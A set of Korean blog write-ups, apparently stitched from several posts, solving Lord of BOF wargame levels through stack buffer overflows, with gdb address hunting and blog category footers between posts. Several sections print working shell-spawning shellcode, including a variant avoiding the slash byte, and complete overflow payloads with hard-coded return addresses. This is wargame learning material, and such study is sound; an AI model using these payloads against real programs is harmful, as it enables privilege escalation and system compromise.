맨 아래 부분에서 argv[] 를 모두 초기화 시켜버린다...

 

일단 gdb로 보면서 포인트를 찾아보자.

 

메모리 끝자락으로 가니 실행파일의 절대경로가 저장되어있다.

 

프로그램 코드상에서 argv를 지워도 메모리에는 남는 모양이다.

 

공격벡터로 써먹자.

 

먼저, 파일이름에 쉘코드를 박고 불러와서 쉘을 따는 순서로 하면 될 것 같다.

 

쉘코드에 \x2f가 없어야한다. 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

이 친구를 사용할 것이다.

일단 파일 이름을 바꿔주자.

 

쭈욱 찾아보자.

 

0xbfffff65 가 아까전 파일 경로/이름의 시작 주소인 듯 하다.

 

적당히 NOP 있는 주소를 박자.

 

0xbfffff75 이쯤으로 박아보자.

 

링크를 걸고 익스를 해보자.

 

????

근데 안된다..

삽질 계속 하다가 방법을 못찾아서 롸업 봤는데도 모르겠다.

일단 다음 문제로 가자..

'LOB > WriteUp' 카테고리의 다른 글

LOB - level9 [troll -> vampire]  (0) 2021.07.16
LOB - level8 [orge -> troll]  (0) 2021.05.24
LOB - level7 [darkelf -> orge]  (0) 2021.05.21
LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20

이전 문제까지는 0xbfff 로 시작되는 주소를 넣었었지만 이번 문제에서는 주소의 시작이 0xbf가 되어야 하고,

그 다음 0xff가 되면 안된다.

 

그렇다면, 0xbffeffff 보다 아래 주소로 매핑하면 될 것 같다.

 

먼저, 주소값 계산을 해보자.

 

0xbfffffff - 0xbffeffff = 0x10000 ( 65536 )

 

이렇게 NOP을 주고 스택을 매핑하면 스택(ebp)은 0xbffeffff 보다 낮은 주소부터 매핑이 된다.

 

익스를 해보자.

 

NOP이 많이 들어갔기 때문에 적당한 곳을 RET 박아주면 쉘이 따이게 된다.

'LOB > WriteUp' 카테고리의 다른 글

LOB - level10 [vampire -> skeleton]  (0) 2021.08.26
LOB - level8 [orge -> troll]  (0) 2021.05.24
LOB - level7 [darkelf -> orge]  (0) 2021.05.21
LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20

 

이전 문제랑 다른 점은 인자 갯수가 2개여야하고, memset함수를 두번 써줬다. 

 

argv[1]도 초기와 된다.. ㅂㄷㅂㄷ

 

아마 파일이름에 쉘코드를 넣고 argv[0] 를 ret에 넣어야될 것 같다.

 

그러려면 쉘코드에 2f가 들어가면 안된다. "/" 로 인식이 되기 때문에 오류가 발생하기 때문이다.

 

쉘코드는 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

이걸 사용했다.

 

파일이름을 바꾸고 익스를 해보자.

 

argv[0]의 주소를 구해보자.

 

네모부터 쉘코드의 시작이다.

 

적당히 c0 주소로 박고 익스를 하였다.

'LOB > WriteUp' 카테고리의 다른 글

LOB - level10 [vampire -> skeleton]  (0) 2021.08.26
LOB - level9 [troll -> vampire]  (0) 2021.07.16
LOB - level7 [darkelf -> orge]  (0) 2021.05.21
LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20

argv[0] 의 길이가 77이어야 한다.

 

./ 을 감안해 파일이름을 75길이로 만들자.

 

잘 되었다.

 

gdb로 스택에 값이 어떻게 들어가는지 확인해보고 페이로드를 짜보자.

 

이전 문제와 거의 비슷해서 그냥 argv[1]에 쉘코드를 주입하고 argv[1]의 주소만 잘 찾으면 될 것 같다.

 

 

41 부분이 들어가있는 곳은 argv[0] 이고 그 다음 90오는 부분이 argv[1]이므로 저 주소로 잡고 페이로드를 보내보자.

 

잘 따졌다.

'LOB > WriteUp' 카테고리의 다른 글

LOB - level9 [troll -> vampire]  (0) 2021.07.16
LOB - level8 [orge -> troll]  (0) 2021.05.24
LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20
LOB - level4 [goblin -> orc]  (0) 2021.05.20

이전 문제들과 비슷하지만, 인자의 길이가 "\xbf" 검사한 뒤 더 이상 인자가 오면 안된다.

 

그렇다면 이런식으로 페이로드를 짤 수 있을 것 같다.

 

dummy[19] + "shell"[25] + shell_addr[4]

 

여기서 이전과 달라진 점은 shell_addr에 들어가는 주소는 buffer의 주소가 아니다.

 

정확하게는 buffer에 복사되기전의 argv[1]의 인접 주소이다.

 

이렇게 된다면 buffer의 내부가 비워져도 argv[1]의 shellcode를 사용할 수 있게 된다.

 

페이로드를 짜보자.

 

빨간색 칸이 argv[1]의 주소이다.

 

최종 페이로드는 이렇게 된다.

 

"\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x1c\xfc\xff\xbf"

 

이렇게 보내면 된다.

 

dhk~~

'LOB > WriteUp' 카테고리의 다른 글

LOB - level8 [orge -> troll]  (0) 2021.05.24
LOB - level7 [darkelf -> orge]  (0) 2021.05.21
LOB - level5 [orc -> wolfman]  (0) 2021.05.20
LOB - level4 [goblin -> orc]  (0) 2021.05.20
LOB - level3 [cobolt -> goblin]  (0) 2021.05.20

이전 문제와 유사하지만 마지막 부분에 memset함수가 버티고있다.

 

하지만 이전 문제에서 했던 방식대로면 이 문제로 똑같은 페이로드로 쉘이 따진다.

 

왜냐하면 buffer 내에 쉘코드를 저장하는 방식이 아니라 RET 뒤에 쉘코드를 저장하는 방식이라

 

문제에서 buffer의 메모리 값을 초기화 시켜도 아무런 문제가 없다.

 

이전 페이로드로 따보자.

 

 

'LOB > WriteUp' 카테고리의 다른 글

LOB - level7 [darkelf -> orge]  (0) 2021.05.21
LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level4 [goblin -> orc]  (0) 2021.05.20
LOB - level3 [cobolt -> goblin]  (0) 2021.05.20
LOB - level2 [gremlin -> cobolt]  (0) 2021.05.14

문제풀다가 모르고 코드 파일을 삭제해버려서 다른 사람껄로 대체한다.

 

대충 프로그램 실행할 때 인자에서 48번째 문자가 \xbf 여야한다는 것 같다.]

 

gdb로 뜯어보자.

 

strcpy 쪽에 bp를 걸고 buffer와 ret 까지 확인할 수 있을 것이다.

 

하지만 "\xbf"를 우회해줘야 하기 때문에 문자 갯수를 맞춰서 넘겨주자.

 

buffer = 0xbffffac0

ret = 0xbffffaec

 

페이로드는 우선 "A"*44 + shellcode_addr + NOP + "shell" 이렇게 할 것이다.

 

페이로드를 짜보자.

 

"A"*44 + "\xf0\xfa\xff\xbf" + "\x90"*1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

 

와~~~

'LOB > WriteUp' 카테고리의 다른 글

LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20
LOB - level3 [cobolt -> goblin]  (0) 2021.05.20
LOB - level2 [gremlin -> cobolt]  (0) 2021.05.14
LOB - level1 [gate -> gremlin]  (0) 2021.05.14

gets 에서 취약점이 터지는 것 같다. gdb로 까서 보자.

 

스택이 16byte만큼 확보가 되고, ebp-16 위치에 gets 함수로 입력을 받는다.

 

ebp-16 주소와 ret 주소를 알아내 보자.

 

빨간색 칸은 buffer 주소가 되고, 노란색 칸은 ret 주소이다.

 

페이로드를 짜보자.

 

"A"*20 + ebp+8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

 

이렇게 보내면 될 것 같다.

 

와우~~

'LOB > WriteUp' 카테고리의 다른 글

LOB - level6 [wolfman -> darkelf]  (0) 2021.05.20
LOB - level5 [orc -> wolfman]  (0) 2021.05.20
LOB - level4 [goblin -> orc]  (0) 2021.05.20
LOB - level2 [gremlin -> cobolt]  (0) 2021.05.14
LOB - level1 [gate -> gremlin]  (0) 2021.05.14

+ Recent posts